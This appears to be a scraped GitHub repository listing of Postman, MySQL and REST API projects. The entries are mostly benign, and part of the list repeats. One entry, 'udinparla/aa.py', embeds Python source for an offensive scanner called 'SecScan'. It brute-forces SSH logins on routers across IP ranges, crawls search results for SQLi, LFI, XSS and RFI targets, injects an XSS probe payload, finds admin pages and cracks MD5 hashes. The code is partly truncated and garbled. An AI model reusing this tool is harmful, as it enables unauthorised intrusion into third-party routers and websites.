node.js+xmysql+postman实现接口自动化测试,并校验数据库 | 1 stars | 1 watchers | 0 forks |
pawanmethre/my-first-Flask-resful-application api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool |
My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. | 1 stars | 1 watchers | 0 forks |
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
liyinchigithub/Omysql api blueprint, asyncapi, github, json schema, mysql, oauth, openid, sql |
postman操作Mysql数据库 | 0 stars | 0 watchers | 1 forks |
ahmadarif/laravel-oauth2 api blueprint, asyncapi, auth, json schema, laravel, oauth, oauth2, openid, sql |
Laravel + Oauth2 + Grant Type Password Example | 0 stars | 0 watchers | 0 forks |
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
Mardiv-18/Rest-Api-TSF_NoobCoder api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql |
Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman | 0 stars | 0 watchers | 0 forks |
Rutuja177/RestApi-CRUD-Operations api blueprint, asyncapi, json schema, mysql, oauth, openid, sql, test, testing |
I have created 3 APIs( Heroes, Product, category) created in php and mysql. And testing it on POSTMAN | 0 stars | 0 watchers | 0 forks |
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-node.js-xmysql- api blueprint, asyncapi, description, json schema, mysql, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-wildfly-mysql api blueprint, asyncapi, description, docker, json schema, mysql, oauth, openid, script, sql, wildfly |
No description available. | 0 stars | 0 watchers | 0 forks |
mathieupoulenard-pv/API-salesforce-openidConnect.postman api blueprint, asyncapi, description, json schema, oauth, openid, salesforce, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
psjoshi20/node-express-psql-seq-postman api blueprint, asyncapi, description, express, json schema, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
tarang777/Create-order-using-oauth-rest-api-in-android android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool |
Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. | 0 stars | 0 watchers | 0 forks |
paulgrimaldo/demo-spring-hibernate api blueprint, asyncapi, hibernate, json schema, oauth, openid, spring, sql |
Ejemplo de SpringBoot, Hibernate, Mysql & Postman | 0 stars | 0 watchers | 0 forks |
aboelkassem/ChattingApp angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system |
real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite | 0 stars | 0 watchers | 0 forks |
alexkmartinez77/startnow-node200-sequelize-workshop api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop |
Using Postman and Express routes to run CRUD operations on Mysql database. | 0 stars | 0 watchers | 0 forks |
ash2042987/PromineoFinalProject api blueprint, asyncapi, boot, controller, json schema, mysql, oauth, openid, sql |
Respositiories,controllers, entities, mysql, Postman, Spring-boot | 0 stars | 0 watchers | 0 forks |
atljoseph/api.go.josephgill.io api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website |
This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. | 0 stars | 0 watchers | 0 forks |
avinash24p/Postman-SqlClient api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql |
Node App to integrate Postman like app and sql client in a single page app | 0 stars | 0 watchers | 0 forks |
bamaboyAsh/springbootrestapi api blueprint, application, asyncapi, boot, json schema, mysql, oauth, openid, rest, restapi, spring, springboot, sql |
Spring Boot application using Hibernate mysql Rest API and Postman | 0 stars | 0 watchers | 0 forks |
birish87/ppgService api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql |
simple springboot, rest service whereby we can integrate postman with our postgresql db. | 0 stars | 0 watchers | 0 forks |
ChillSpike/sprint-boot-jpa-mysql api blueprint, asyncapi, boot, client, json schema, mysql, oauth, openid, print, sql |
Spring Boot JPA with mysql using POSTMAN client | 0 stars | 0 watchers | 0 forks |
cjkas/postman-widfly-mysql api blueprint, asyncapi, json schema, mysql, oauth, openid, sql |
0 stars | 0 watchers | 0 forks | |
ckailash/myob-php-oauth2 api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql |
Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-xmysql-node.js api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
全接口自动化 | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-employees api blueprint, asyncapi, employee, employees, express, json schema, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-movies api blueprint, asyncapi, express, json schema, movie, movies, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
edwinchavez/Deber_poo_Efcv api blueprint, asyncapi, json schema, oauth, openid, postgres, postgresql, sql |
Deber de POO usando postgresql enviando datos desde postman | 0 stars | 0 watchers | 0 forks |
euhenriquemarques/WEBService-Java-springBoot api blueprint, asyncapi, boot, java, json schema, mysql, oauth, openid, spring, spring boot, sql, tool, tools |
WEBService Rest, com java, spring boot, mysql, devtools, jpaRespoitory, e Postman | 0 stars | 0 watchers | 0 forks |
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
FP-GmbH/fcm-oauth-generator api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools |
FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. | 0 stars | 0 watchers | 0 forks |
geekyanurag/Web-Services api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql |
Rest api creation for 3 sets of api's using php and mysql and used postman as client. | 0 stars | 0 watchers | 0 forks |
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
iamwarning/message-api-with-nestjs api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql |
Simple API that performs a message CRUD connected to a mysql database using NestJS | 0 stars | 0 watchers | 0 forks |
Jespert88/FinalJavaTask api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task |
Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) | 0 stars | 0 watchers | 0 forks |
jmaribau/DemoHtCm api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools |
Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-tomee-mysql api blueprint, asyncapi, docker, json schema, mysql, oauth, openid, postman tests, sql, test, tests, tomee |
Docker with postman tests with tomee and mysql | 0 stars | 0 watchers | 0 forks |
komalng/TuringChallenges api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing |
This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. | 0 stars | 0 watchers | 0 forks |
kran/pm2ab api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql |
postman to api blueprint | 0 stars | 0 watchers | 0 forks |
LockeReed/knex-lesson api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql |
learning postgresql, knex, postico, postman | 0 stars | 0 watchers | 0 forks |
mayankpatel1004/nodejs-express-mvc-mysql api blueprint, asyncapi, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Nodejs with mysql, Express , MVC, Postman | 0 stars | 0 watchers | 0 forks |
meghnadsaha/REST-API-Web-Application api blueprint, application, asyncapi, client, data, database, json schema, mysql, oauth, openid, sql |
A simple CRUD application Framework - Jersey Jax-rs for creating RESTful APIs in Java Editor - Eclipse Database - mysql Rest API client - Postman(for making REST API calls) (6) Hibernate to interact with database. | 0 stars | 0 watchers | 0 forks |
neagkv/Mybatis-Spring-MySQL api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql |
practice calling using mybatis to read from an api and populate a mysql database, with updates from postman | 0 stars | 0 watchers | 0 forks |
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.php api blueprint, asyncapi, json schema, oauth, openid, sql |
A Php based Mysql Prepare Statement Wrapper Class. | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.py api blueprint, asyncapi, json schema, oauth, openid, sql |
A Python based Mysql Wrapper Class. | 0 stars | 0 watchers | 0 forks |
psjoshi20/todo api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo |
todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 | 0 stars | 0 watchers | 0 forks |
rashidmajeed/dotnetcore-postgresql api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi |
c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
sandipfadadu/api-in-core-php-mysqli api blueprint, asyncapi, issue, json schema, mysql, oauth, openid, sql |
Hellow Guys, This Script is Useful who want to develop api in core php with mysqli. This Code is Working 100% so no chance for any issue or Error. to GET Response use POSTMAN Extension. Thank You... | 0 stars | 0 watchers | 0 forks |
shahidur1/SpringBootMysqlHibernateRestApi_PostmanAngularOK api blueprint, asyncapi, json schema, oauth, openid, sql |
SpringBootMysqlHibernateRestApi_PostmanAngular Test OK | 0 stars | 0 watchers | 0 forks |
sharejee-prepare-teach/access-oauth2-with-postman access, api blueprint, asyncapi, auth, json schema, oauth, oauth2, openid, prepare, sql |
0 stars | 0 watchers | 0 forks | |
Suman-eng/SpringOAuthWithPostmanAndMysql api blueprint, asyncapi, json schema, oauth, openid, sql |
OAuth Authentication In Spring Boot | 0 stars | 0 watchers | 0 forks |
vertical-sudhir/SBMysqlCrudDemo api blueprint, asyncapi, json schema, oauth, openid, sql |
Spring Boot CRUD using MySql Database, Postman | 0 stars | 0 watchers | 0 forks |
Victor10-m/mysql-nodejs-rest-api api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo |
Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman | 0 stars | 0 watchers | 0 forks |
wesjones15/learning-apis-sql api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql |
Python, APIs, SQL, Postman, Docker | 0 stars | 0 watchers | 0 forks |
xinsnake/oauth-cmd-helper api blueprint, asyncapi, auth, helper, json schema, oauth, openid, sql |
OAuth2 Command Line helper... Tired of using Browser + Postman... | 0 stars | 0 watchers | 0 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
XeroAPI/xero-postman-oauth2 api blueprint, asyncapi, auth, collection, json schema, oauth, oauth2, openid, postman collection, sql |
A postman collection for use with Xero's API and OAuth 2.0 | 0 stars | 0 watchers | 5 forks |
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
vxhly/NME-server api blueprint, asyncapi, json schema, oauth, openid, server, sql |
基于 Node.js + Mysql + Express 的 API 服务端 | 2 stars | 2 watchers | 0 forks |
yeosz/dtool api blueprint, asyncapi, fake, json schema, mysql, oauth, openid, sql, tool |
数据生成器,数据库工具,数据库填充,伪数据,faker,mysql数据字典,数据库比对 | 0 stars | 0 watchers | 4 forks |
esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman- api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql |
No description available. | 1 stars | 1 watchers | 1 forks |
Ajesh777/LaravelApiVersioning api blueprint, asyncapi, json schema, oauth, openid, sql |
Laravel, API, Versioning, php, Composer, Postman, Node.js, artisan, sql, migrations, CRUD, Best Practices, Article API, Person API, Application Interface, Example, Training | 1 stars | 1 watchers | 1 forks |
martinberlin/postman-reporter api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests |
Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database | 1 stars | 1 watchers | 1 forks |
mohamed-abdo/performance-load-test api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit |
Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). | 1 stars | 1 watchers | 0 forks |
ivangfr/springboot-testing-mysql api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities |
The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman | 1 stars | 1 watchers | 0 forks |
ming-zh/node.js-xmysql-postman api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
node.js+xmysql+postman实现接口自动化测试,并校验数据库 | 1 stars | 1 watchers | 0 forks |
pawanmethre/my-first-Flask-resful-application api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool |
My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. | 1 stars | 1 watchers | 0 forks |
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
liyinchigithub/Omysql api blueprint, asyncapi, github, json schema, mysql, oauth, openid, sql |
postman操作Mysql数据库 | 0 stars | 0 watchers | 1 forks |
ahmadarif/laravel-oauth2 api blueprint, asyncapi, auth, json schema, laravel, oauth, oauth2, openid, sql |
Laravel + Oauth2 + Grant Type Password Example | 0 stars | 0 watchers | 0 forks |
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
Mardiv-18/Rest-Api-TSF_NoobCoder api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql |
Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman | 0 stars | 0 watchers | 0 forks |
Rutuja177/RestApi-CRUD-Operations api blueprint, asyncapi, json schema, mysql, oauth, openid, sql, test, testing |
I have created 3 APIs( Heroes, Product, category) created in php and mysql. And testing it on POSTMAN | 0 stars | 0 watchers | 0 forks |
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-node.js-xmysql- api blueprint, asyncapi, description, json schema, mysql, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-wildfly-mysql api blueprint, asyncapi, description, docker, json schema, mysql, oauth, openid, script, sql, wildfly |
No description available. | 0 stars | 0 watchers | 0 forks |
mathieupoulenard-pv/API-salesforce-openidConnect.postman api blueprint, asyncapi, description, json schema, oauth, openid, salesforce, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
psjoshi20/node-express-psql-seq-postman api blueprint, asyncapi, description, express, json schema, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
tarang777/Create-order-using-oauth-rest-api-in-android android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool |
Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. | 0 stars | 0 watchers | 0 forks |
paulgrimaldo/demo-spring-hibernate api blueprint, asyncapi, hibernate, json schema, oauth, openid, spring, sql |
Ejemplo de SpringBoot, Hibernate, Mysql & Postman | 0 stars | 0 watchers | 0 forks |
aboelkassem/ChattingApp angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system |
real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite | 0 stars | 0 watchers | 0 forks |
